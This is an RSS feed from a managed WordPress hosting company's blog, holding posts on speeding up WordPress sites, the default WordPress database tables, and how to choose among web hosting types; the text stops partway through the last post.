<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Kiravo Blog</title><description>Tips, tutorials, and insights on managed WordPress hosting, performance, and security.</description><link>https://kiravo.net/</link><language>en-us</language><copyright>© 2025 Kiravo</copyright><lastBuildDate>Thu, 28 May 2026 16:33:17 GMT</lastBuildDate><ttl>60</ttl><item><title>How to speed up your WordPress website (ultimate guide)</title><link>https://kiravo.net/blog/wordpress-performance/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-performance/</guid><description>How a WordPress page actually loads, where the time goes, and the changes that make the biggest difference to real-world page speed.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You can learn more about how websites work and how to make your WordPress website load faster and sustain more traffic. Or simply &lt;a href=&quot;https://kiravo.net/pricing/&quot;&gt;switch to Kiravo&lt;/a&gt; and we’ll do it for you.&lt;/p&gt;
&lt;h2 id=&quot;why-performance-matters&quot;&gt;Why performance matters&lt;/h2&gt;
&lt;p&gt;Improving site speed can lead to better conversion rates, more page views, better ranking in search engine results, and savings on hosting.&lt;/p&gt;
&lt;h3 id=&quot;conversion-rate&quot;&gt;Conversion rate&lt;/h3&gt;
&lt;p&gt;The slower your website, the less likely your visitors are to buy, contact you, or comment.&lt;/p&gt;
&lt;h3 id=&quot;ranking&quot;&gt;Ranking&lt;/h3&gt;
&lt;p&gt;A faster site ranks better in search engines, leading to more visitors to your site.&lt;/p&gt;
&lt;h3 id=&quot;pageviews&quot;&gt;Pageviews&lt;/h3&gt;
&lt;p&gt;The quicker your website loads, the higher the chances of visitors staying longer.&lt;/p&gt;
&lt;h3 id=&quot;savings&quot;&gt;Savings&lt;/h3&gt;
&lt;p&gt;A lightweight website uses fewer server resources, handling higher traffic without upgrading your hosting.&lt;/p&gt;
&lt;h2 id=&quot;how-websites-work&quot;&gt;How websites work&lt;/h2&gt;
&lt;p&gt;A web page is not a finished product, like a painting. Think IKEA. The pages are assembled in real time by the visitor’s browser after downloading all the assets from the server.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;A timeline showing the stages of loading a web page, from the user clicking a link to the page being ready to use.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;650&quot; height=&quot;303&quot; src=&quot;https://kiravo.net/_astro/page-load-timeline-1.DvwoChZA_ZcUpdV.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User clicks a link to your website.&lt;/strong&gt; The visitor’s browser checks the IP of your domain in DNS, then sends the request for the page to the server. If the site uses SSL, the client and server negotiate a secure connection before the request is completed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The server builds the HTML.&lt;/strong&gt; The server receives the request and processes the website code. The database and file system are queried for all required elements and the HTML page is compiled. When the HTML is created, the server sends it back to the browser.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The browser reads the HTML and requests all elements.&lt;/strong&gt; The browser receives the HTML code, reads the code and sees that it needs more elements (CSS files, fonts, images, JavaScript files). They can come from the same server or from other servers, in which case they require new DNS queries and SSL connections.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The browser starts building the page.&lt;/strong&gt; While still collecting the elements, the browser starts building the page and displays a first version of the page. It’s called First Contentful Paint (FCP) and it’s an important metric. Because the page hasn’t finished loading, the user can’t interact with it yet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The browser prepares the page for interaction.&lt;/strong&gt; Several elements on the page must be gathered before the user can start interacting with the page, clicking or scrolling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The page is ready to use.&lt;/strong&gt; When all the elements have loaded and all the scripts have completed their configuration tasks, the page is finally ready to use. Our goal when optimising is to reach “ready to use” in the shortest possible time.&lt;/p&gt;
&lt;h2 id=&quot;time-is-of-the-essence&quot;&gt;Time is of the essence&lt;/h2&gt;
&lt;p&gt;The loading of a web page can be broken down into three main components. The phrase “site loading speed” is shorthand; what we’re really optimising is &lt;em&gt;time&lt;/em&gt; — how long each operation takes.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Server response time.&lt;/strong&gt; This is where the server works, running the site’s PHP code. If this first request is slow, all other steps in viewing the web page will be delayed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data transfer time.&lt;/strong&gt; The time required to transport the elements that make up the page from the server (or servers) to the browser. It depends on the amount of data and the distance it has to travel.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Page rendering time.&lt;/strong&gt; Influenced by the quality and complexity of the code to be interpreted, the number of elements and their size, as well as the speed of the device the browser is running on.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;how-to-improve-server-response-time&quot;&gt;How to improve server response time&lt;/h2&gt;
&lt;p&gt;This is where the server works, processing the PHP code. The objective is to give the server as little work as possible. Or give the work as much server as possible. Ideally both.&lt;/p&gt;
&lt;h3 id=&quot;full-page-cache&quot;&gt;Full page cache&lt;/h3&gt;
&lt;p&gt;Install a WordPress caching plugin or talk to your hosting provider about server-level caching or help with edge caching integration.&lt;/p&gt;
&lt;h3 id=&quot;better-hosting&quot;&gt;Better hosting&lt;/h3&gt;
&lt;p&gt;Shared web hosting cannot guarantee constant performance. If performance is critical for you, try a managed WordPress hosting or managed WooCommerce hosting solution.&lt;/p&gt;
&lt;h3 id=&quot;better-plugins&quot;&gt;Better plugins&lt;/h3&gt;
&lt;p&gt;Test the resource usage of WordPress plugins; check if there are plugins that make non-cacheable requests; replace them with better ones.&lt;/p&gt;
&lt;h3 id=&quot;database-optimisation&quot;&gt;Database optimisation&lt;/h3&gt;
&lt;p&gt;Clean up orphaned meta_keys from the wp_postmeta table; clean entries with autoload:yes from the wp_options table; clean old plugin and theme entries; delete expired transients; change table engine to INNODB.&lt;/p&gt;
&lt;p&gt;→ Deep dive: &lt;a href=&quot;https://kiravo.net/blog/clean-wordpress-database/&quot;&gt;How to clean up your WordPress database&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;wordpress-settings&quot;&gt;WordPress settings&lt;/h3&gt;
&lt;p&gt;Disable trackbacks, pingbacks, emojis, embeds; disable or limit revisions; set regular trash cleaning; disable or modify the heartbeat API; disable xml-rpc if not needed; set up a server cronjob.&lt;/p&gt;
&lt;h3 id=&quot;better-themes&quot;&gt;Better themes&lt;/h3&gt;
&lt;p&gt;Test the resource usage of your active WordPress theme and, if there are problems, replace it with a lighter theme.&lt;/p&gt;
&lt;h2 id=&quot;how-to-improve-data-transfer-time&quot;&gt;How to improve data transfer time&lt;/h2&gt;
&lt;p&gt;The objective is to reduce the amount of data that needs to be transferred from the server to the browser, and to reduce the distance over which the data is transferred.&lt;/p&gt;
&lt;h3 id=&quot;optimise-images&quot;&gt;Optimise images&lt;/h3&gt;
&lt;p&gt;Don’t use higher resolutions than necessary; use the correct format (jpg, png, svg, webp) for each scenario; clean the server of unused images.&lt;/p&gt;
&lt;p&gt;→ Deep dive: &lt;a href=&quot;https://kiravo.net/blog/optimize-your-images/&quot;&gt;How to optimise your images&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;optimise-fonts&quot;&gt;Optimise fonts&lt;/h3&gt;
&lt;p&gt;Use only one font, maximum two (one for headings, one for body). Serve font files from your own server, or use system fonts.&lt;/p&gt;
&lt;h3 id=&quot;optimise-css--js&quot;&gt;Optimise CSS &amp;#x26; JS&lt;/h3&gt;
&lt;p&gt;Remove useless CSS &amp;#x26; JS, concatenate them, minify them. The goal is to have fewer and smaller CSS and JS files.&lt;/p&gt;
&lt;h3 id=&quot;use-a-cdn&quot;&gt;Use a CDN&lt;/h3&gt;
&lt;p&gt;Several options: Cloudflare (free), Quic.cloud, BunnyCDN, KeyCDN, AWS CloudFront, Google Cloud CDN, or Fastly.&lt;/p&gt;
&lt;h2 id=&quot;how-to-improve-page-rendering-time&quot;&gt;How to improve page rendering time&lt;/h2&gt;
&lt;p&gt;This is where the browser on the visitor’s device works. We can’t control the speed of their internet connection or the computing power of their device, so we can only give that browser less work.&lt;/p&gt;
&lt;h3 id=&quot;reduce-dom-complexity&quot;&gt;Reduce DOM complexity&lt;/h3&gt;
&lt;p&gt;Reduce DOM complexity by using native Gutenberg blocks to build pages instead of page builder plugins.&lt;/p&gt;
&lt;h3 id=&quot;better-css&quot;&gt;Better CSS&lt;/h3&gt;
&lt;p&gt;Reduce CSS complexity, remove syntax errors, reduce the use of &lt;code&gt;@import&lt;/code&gt; and &lt;code&gt;!important&lt;/code&gt;, remove duplicate or redundant selectors and properties.&lt;/p&gt;
&lt;h3 id=&quot;reduce-javascript&quot;&gt;Reduce JavaScript&lt;/h3&gt;
&lt;p&gt;The more JS you have on your site, the harder it will be to get a fast render time. Remove what you can, defer and delay what you cannot.&lt;/p&gt;
&lt;h3 id=&quot;prioritise-above-the-fold&quot;&gt;Prioritise above the fold&lt;/h3&gt;
&lt;p&gt;Use an optimisation plugin like FlyingPress to optimise the rendering of the above-the-fold section.&lt;/p&gt;
&lt;h2 id=&quot;deep-dives&quot;&gt;Deep dives&lt;/h2&gt;
&lt;!--
Add manual links to cluster posts here as they&apos;re written. Suggested topics:
  - WordPress caching strategies (page, object, CDN edge)
  - Database optimisation walkthrough
  - Image optimisation pipeline
  - Choosing a lightweight theme
  - Plugin auditing
--&gt;
&lt;p&gt;Until then, see the &lt;a href=&quot;https://kiravo.net/blog/performance/&quot;&gt;Performance category&lt;/a&gt; for related articles.&lt;/p&gt;</content:encoded><category>Guides</category><author>Andrei Chira</author></item><item><title>The WordPress database tables: roles and functions</title><link>https://kiravo.net/blog/wordpress-database-tables-roles-functions/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-database-tables-roles-functions/</guid><description>A reference for every default WordPress database table: what each one stores, how they connect, and why this speeds up troubleshooting.</description><pubDate>Tue, 21 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A standard WordPress installation comes with a set of database tables. Each one has a specific job, like storing articles, pages, settings, users, or comments.&lt;/p&gt;
&lt;p&gt;Understanding how WordPress stores its data isn’t just “nice to know”, it makes everything about running a site easier. When beginners learn how the database tables are organised, troubleshooting stops feeling like guesswork. They can see where posts, pages, and settings actually live, which builds confidence fast.&lt;/p&gt;
&lt;p&gt;For administrators, this knowledge turns technical issues into manageable tasks instead of mysteries. And for freelancers or developers, it becomes the foundation for reliable debugging, smoother migrations, and cleaner problem‑solving.&lt;/p&gt;
&lt;p&gt;In short: knowing your way around the WordPress database helps everyone, no matter their experience level.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;phpmyadmin interface&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1200&quot; height=&quot;526&quot; src=&quot;https://kiravo.net/_astro/interfata-phpmyadmin.BXf3RHf6_2v0zVx.webp&quot; &gt;&lt;/p&gt;
&lt;h2 id=&quot;wordpress-database-table-descriptions&quot;&gt;WordPress database table descriptions&lt;/h2&gt;
&lt;p&gt;When you set up WordPress, it creates 12 tables, usually starting with wp_. This wp_ prefix is the default, but you can change it during installation.&lt;/p&gt;
&lt;h3 id=&quot;wp_commentmeta&quot;&gt;wp_commentmeta&lt;/h3&gt;
&lt;p&gt;This table stores extra comment details. It includes keys and values for plugin data.&lt;/p&gt;
&lt;h3 id=&quot;wp_comments&quot;&gt;wp_comments&lt;/h3&gt;
&lt;p&gt;All site comments live here. The table includes author names, emails, IP addresses, and comment text.&lt;/p&gt;
&lt;h3 id=&quot;wp_links&quot;&gt;wp_links&lt;/h3&gt;
&lt;p&gt;Older versions of WordPress used this table for blogrolls. Some plugins still use it for link management.&lt;/p&gt;
&lt;h3 id=&quot;wp_options&quot;&gt;wp_options&lt;/h3&gt;
&lt;p&gt;This table is essential for site configuration. It stores the site URL, admin email, and time zone. Themes and plugins save their settings here.&lt;/p&gt;
&lt;h3 id=&quot;wp_postmeta&quot;&gt;wp_postmeta&lt;/h3&gt;
&lt;p&gt;Metadata for posts and pages resides here. It includes page templates, custom fields, and SEO data.&lt;/p&gt;
&lt;h3 id=&quot;wp_posts&quot;&gt;wp_posts&lt;/h3&gt;
&lt;p&gt;This table holds most content. It includes pages, revisions, menus, and media files.&lt;/p&gt;
&lt;h3 id=&quot;wp_termmeta&quot;&gt;wp_termmeta&lt;/h3&gt;
&lt;p&gt;Taxonomy terms have metadata here. Plugins use it for category information or product attributes.&lt;/p&gt;
&lt;h3 id=&quot;wp_terms&quot;&gt;wp_terms&lt;/h3&gt;
&lt;p&gt;This table contains the actual names of categories and tags.&lt;/p&gt;
&lt;h3 id=&quot;wp_term_relationships&quot;&gt;wp_term_relationships&lt;/h3&gt;
&lt;p&gt;This table links content to terms. It shows which article belongs to a specific category.&lt;/p&gt;
&lt;h3 id=&quot;wp_term_taxonomy&quot;&gt;wp_term_taxonomy&lt;/h3&gt;
&lt;p&gt;This table defines the taxonomy type. It identifies if a term is a category or a tag.&lt;/p&gt;
&lt;h3 id=&quot;wp_usermeta&quot;&gt;wp_usermeta&lt;/h3&gt;
&lt;p&gt;Extra user data is stored here. It includes preferences, permissions, and plugin settings.&lt;/p&gt;
&lt;h3 id=&quot;wp_users&quot;&gt;wp_users&lt;/h3&gt;
&lt;p&gt;The main table for user accounts. It contains usernames, encrypted passwords, and emails.&lt;/p&gt;
&lt;h2 id=&quot;in-conclusion&quot;&gt;In conclusion&lt;/h2&gt;
&lt;p&gt;Understanding the WordPress database isn’t about becoming a database expert, it’s about knowing your site’s backbone.&lt;/p&gt;
&lt;p&gt;Once you recognise what each table does and where key data lives, everything from debugging to migrations becomes far less intimidating.&lt;/p&gt;
&lt;p&gt;The more familiar you are with the structure, the more confidently you can manage, fix, and grow any WordPress site.&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>How to choose the best web hosting for your website</title><link>https://kiravo.net/blog/web-hosting/</link><guid isPermaLink="true">https://kiravo.net/blog/web-hosting/</guid><description>What web hosting actually pays for, the difference between DNS, application, and email hosting, and how to pick what your site needs.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There are a lot of questions about web hosting, especially what the best web hosting is. If you want to learn more, I’ve put together this detailed guide, which I hope will help you choose the best web hosting for your needs.&lt;/p&gt;
&lt;p&gt;Web hosting is a service that helps you to have a publicly accessible website on the Internet. A subscription to a web hosting plan is a rent you pay to have a specialised company manage the services needed to keep your website up and running.&lt;/p&gt;
&lt;p&gt;Web hosting is not just the simple renting of space on a server; on that server, software services enable the processing of PHP code, database queries, email sending and receiving, etc.&lt;/p&gt;
&lt;p&gt;These services require setup, maintenance and updating, which is the responsibility of the web hosting provider.&lt;/p&gt;
&lt;p&gt;By paying for web hosting, you are paying for access to resources, both hardware and software, as well as human resources. Not as in HR, but in terms of care and support.&lt;/p&gt;
&lt;p&gt;So it’s not just a simple rent of space, but a wider set of IT services provided by professionals, and specialists in this field:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;hosting DNS zones&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;file hosting&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;database hosting&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;hosting email addresses&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;anti-malware protection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;malicious attacks protection (DDOS)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;anti-spam and anti-virus filtering for email&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;server administration, maintenance and optimisation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;technical support provided to customers&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Due to the massive popularity of shared hosting, most people think of web hosting as a single service, but in fact, there are at least 3 main services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;DNS hosting&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;application (site) hosting&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;email hosting&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-is-dns-hosting&quot;&gt;What is DNS hosting?&lt;/h2&gt;
&lt;p&gt;DNS hosting is the hosting of DNS zones. When you associate a hosting provider’s nameservers with a domain, it means that that provider will host the DNS zones for your domain.&lt;/p&gt;
&lt;p&gt;The most common DNS zones are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A - The record that contains the IP address of a domain.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CNAME - Redirects a domain or subdomain to another domain, not to an IP address.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MX - Directs mail to a mail server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TXT - Allows an administrator to store text notes in the record. These records are often used for email security.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-is-application-site-hosting&quot;&gt;What is application (site) hosting?&lt;/h2&gt;
&lt;p&gt;Application hosting is the hosting of your web application, or website (WordPress, another application or even a simple HTML file).&lt;/p&gt;
&lt;p&gt;The website hosting is controlled by the DNS type A entry, the record that contains the IP address where a domain is pointed. The Domain Name System (DNS) translates the A record and instead of people having to remember an IP address to type in their browser to access google.com, they will type google.com directly.&lt;/p&gt;
&lt;h2 id=&quot;what-is-email-hosting&quot;&gt;What is email hosting?&lt;/h2&gt;
&lt;p&gt;Email hosting is controlled by MX DNS entries, which direct mail to an email server.&lt;/p&gt;
&lt;p&gt;The most common case is that of shared hosting, where all 3 services (DNS, site, mail) are with the same provider, on the same server.&lt;/p&gt;
&lt;p&gt;But all these 3 hosting services can also be separate, you can have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;DNS hosting from Cloudflare,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;website hosting from Kiravo,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mail hosting from Google Workspace.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;whats-the-best---all-together-or-separated&quot;&gt;What’s the best - all together or separated?&lt;/h2&gt;
&lt;p&gt;For most sites, the default situation where all hosting components are provided as a single service is sufficient and no separation is needed.&lt;/p&gt;
&lt;p&gt;In this case, our shared hosting plans presented above include everything needed.&lt;/p&gt;
&lt;p&gt;However, there are also cases where some sites have special needs.&lt;/p&gt;
&lt;p&gt;1 - A small brochure-style website of a company can use an affordable shared solution for site hosting because it won’t have high traffic.&lt;/p&gt;
&lt;p&gt;But for that company, the email is “business critical”, and the limitations of a shared hosting solution are not good enough.&lt;/p&gt;
&lt;p&gt;Thus, they can separate site hosting from email hosting. Keep the website on shared hosting, but for email, opt for a professional email hosting solution, such as Google Workspace, Microsoft 365, Tutanota, Fastmail, ProtonMail, etc.&lt;/p&gt;
&lt;p&gt;2 - A high-traffic blog needs website hosting focused on performance and scalability, but doesn’t have much need for email. We have customers who just use Gmail.&lt;/p&gt;
&lt;p&gt;Thus, email can be hosted on a low-cost solution or even free (Gmail), while the website can be hosted on a managed WordPress hosting solution with a customised setup designed to handle as much traffic as possible.&lt;/p&gt;
&lt;p&gt;These would be two example scenarios when separating website hosting from email hosting is needed.&lt;/p&gt;
&lt;p&gt;But most of the time, all these services are put together in one easy-to-use package, which is why the most popular solution is shared hosting with cPanel.&lt;/p&gt;
&lt;h2 id=&quot;types-of-hosting&quot;&gt;Types of hosting&lt;/h2&gt;
&lt;p&gt;Hosting solutions span a broad spectrum, offering cost-effective shared environments for new projects and high-performance dedicated solutions for enterprise-level demands.&lt;/p&gt;
&lt;h3 id=&quot;shared-hosting&quot;&gt;Shared Hosting&lt;/h3&gt;
&lt;p&gt;Shared hosting is the most popular, because it’s cheap and because its limitations are good enough for most websites.&lt;/p&gt;
&lt;p&gt;As can be inferred from the phrase “shared”, this type of hosting is one in which all customer sites are hosted on a physical (or virtual) server and share its resources.&lt;/p&gt;
&lt;p&gt;It is a mass-market web hosting solution, designed to meet the needs of as many website owners as possible.&lt;/p&gt;
&lt;p&gt;The main advantage of shared hosting is the value for money, with a relatively low price for the services and benefits.&lt;/p&gt;
&lt;p&gt;The main disadvantage of shared hosting is that the performance of your site is affected by the neighbours on the server, more precisely by their resource usage. The loading time of your website is not consistent and cannot be guaranteed by the provider.&lt;/p&gt;
&lt;h4 id=&quot;who-is-it-for&quot;&gt;Who is it for?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;low traffic websites&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;static websites&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;brochure-style websites&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;hobby websites&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You should never run critical websites on cheap shared hosting.&lt;/p&gt;
&lt;h4 id=&quot;advantages-of-shared-web-hosting&quot;&gt;Advantages of shared web hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;low price&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;decent performance&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;everything in one place (DNS, web, email)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;easy-to-use control panel&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;disadvantages-of-shared-web-hosting&quot;&gt;Disadvantages of shared web hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;resource limitations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;limited customisation possibilities&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;inconsistent performance&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;limited scalability&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;responsibilities&quot;&gt;Responsibilities&lt;/h4&gt;
&lt;p&gt;The hosting provider manages the infrastructure, and the software running on the server, server security (not your website’s security) and disaster recovery (some may even include a backup of your data).&lt;/p&gt;
&lt;p&gt;The customer gets access to an administration panel (the most popular is cPanel) and that’s where their responsibilities start. Clients can install whatever applications they want (the most popular being WordPress), applications that they manage both from a technical point of view and from a content point of view; they can create email addresses, edit DNS zones, restore backups, etc…&lt;/p&gt;
&lt;h4 id=&quot;what-is-the-best-shared-hosting&quot;&gt;What is the best shared hosting?&lt;/h4&gt;
&lt;p&gt;There are so many shared hosting providers, thousands in each country.&lt;/p&gt;
&lt;p&gt;There are many differences among providers of shared hosting, but there are also many similarities; it’s impossible to say one is the best.&lt;/p&gt;
&lt;p&gt;But I can say that I would choose independent companies that use a modern stack:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;CloudLinux and LiteSpeed, no outdated Apache;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;enterprise-grade NVMe SSD storage;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;daily backups;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;free SSL;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;good WordPress knowledge;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;not very cheap because low prices attract the wrong kind of tenants, and you don’t want those neighbours.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;vps-hosting-managed&quot;&gt;VPS Hosting (managed)&lt;/h3&gt;
&lt;p&gt;VPS (Virtual Private Server) is a hosting solution where several virtual servers are created on a physical server, and you rent such a virtual server to host your websites.&lt;/p&gt;
&lt;p&gt;Each VPS has a certain level of dedicated resources (RAM, CPU), unlike shared hosting, where cPanel accounts don’t have allocated resources; they have resource limitations.&lt;/p&gt;
&lt;p&gt;The cPanel control panel is usually used, as with shared hosting, but the customer has a higher level of access and can create their own cPanel accounts to isolate sites or even resell hosting.&lt;/p&gt;
&lt;p&gt;In addition to the advantage of having dedicated resources, another major advantage of a VPS compared to a shared solution is the possibility of customizing certain settings (PHP, MySQL, the number of emails that can be sent per hour, etc.), so fewer limitations than shared hosting.&lt;/p&gt;
&lt;p&gt;The main disadvantage of a VPS is the higher costs.&lt;/p&gt;
&lt;p&gt;The client hosted on VPS no longer shares resources with other clients, but also no longer shares costs (cPanel license, LiteSpeed ​​webserver license, software backup license, anti-spam software license, server administration, etc.).&lt;/p&gt;
&lt;h4 id=&quot;advantages-of-vps-hosting&quot;&gt;Advantages of VPS hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;better security&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;better performance&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;dedicated resources&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the possibility of customisations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;all-in-one (DNS, web, mail)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;better scalability&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;disadvantages-of-vps-hosting&quot;&gt;Disadvantages of VPS hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;higher costs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;it’s also an all-in-one solution with cPanel so still limited&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;performance is not necessarily better (depends on setup, stack and resources)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;dedicated-servers-managed&quot;&gt;Dedicated Servers (managed)&lt;/h3&gt;
&lt;p&gt;This hosting solution means the entire physical server is leased to a single client.&lt;/p&gt;
&lt;p&gt;It is the traditional hosting solution that involves the highest costs but has the advantage of high performance.&lt;/p&gt;
&lt;p&gt;Any setting of the services installed on the server can be customised to accommodate the needs of the site and the limitations are only given by the physical ones (the server specifications).&lt;/p&gt;
&lt;h4 id=&quot;advantages-of-dedicated-server-hosting&quot;&gt;Advantages of dedicated server hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;better security&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;better performance&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;performance can be consistent (no neighbours)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;all-in-one (DNS, web, mail)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the possibility of customisation&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;disadvantages-of-dedicated-server-hosting&quot;&gt;Disadvantages of dedicated server hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;higher costs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;limited scalability&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;downtime if a physical server component breaks down&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are managed types of web hosting, usually offered with cPanel or other control panels such as ISPConfig, DirectAdmin, Plesk, etc.&lt;/p&gt;
&lt;p&gt;Here, managed means that the hosting provider manages the server and everything running on it (operating system, web server, database server, email server, etc.), while the customer manages their cPanel account and everything in it (website, email addresses, etc.).&lt;/p&gt;
&lt;h3 id=&quot;unmanaged-hosting&quot;&gt;Unmanaged Hosting&lt;/h3&gt;
&lt;p&gt;Unmanaged hosting solutions are virtual or dedicated servers offered by providers without administration, cPanel, or other control panels, with root access, at a much lower price.&lt;/p&gt;
&lt;p&gt;They are not for novice users, they are aimed at developers, sysadmins, and DevOps, i.e. people with technical skills needed to manage servers.&lt;/p&gt;
&lt;p&gt;You could say that these are not actually web hosting solutions; they are IaaS (Infrastructure as a Service) solutions.&lt;/p&gt;
&lt;p&gt;In the sense that you are given access to infrastructure and resources, and you use them to build your web hosting solutions (shared or managed) that you can use for your websites or even resell to end users.&lt;/p&gt;
&lt;h4 id=&quot;responsibility&quot;&gt;Responsibility&lt;/h4&gt;
&lt;p&gt;All responsibilities rest with the customer.&lt;/p&gt;
&lt;p&gt;These responsibilities represent the installation, configuration and administration of all services running on the server:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;operating system (Debian, Ubuntu, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;webserver (Nginx or Apache)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;database server (MySQL, Percona or MariaDB)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the mail server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;antivirus protection, antispam&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;firewall, brute-force attacks protection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;backup and disaster recovery&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
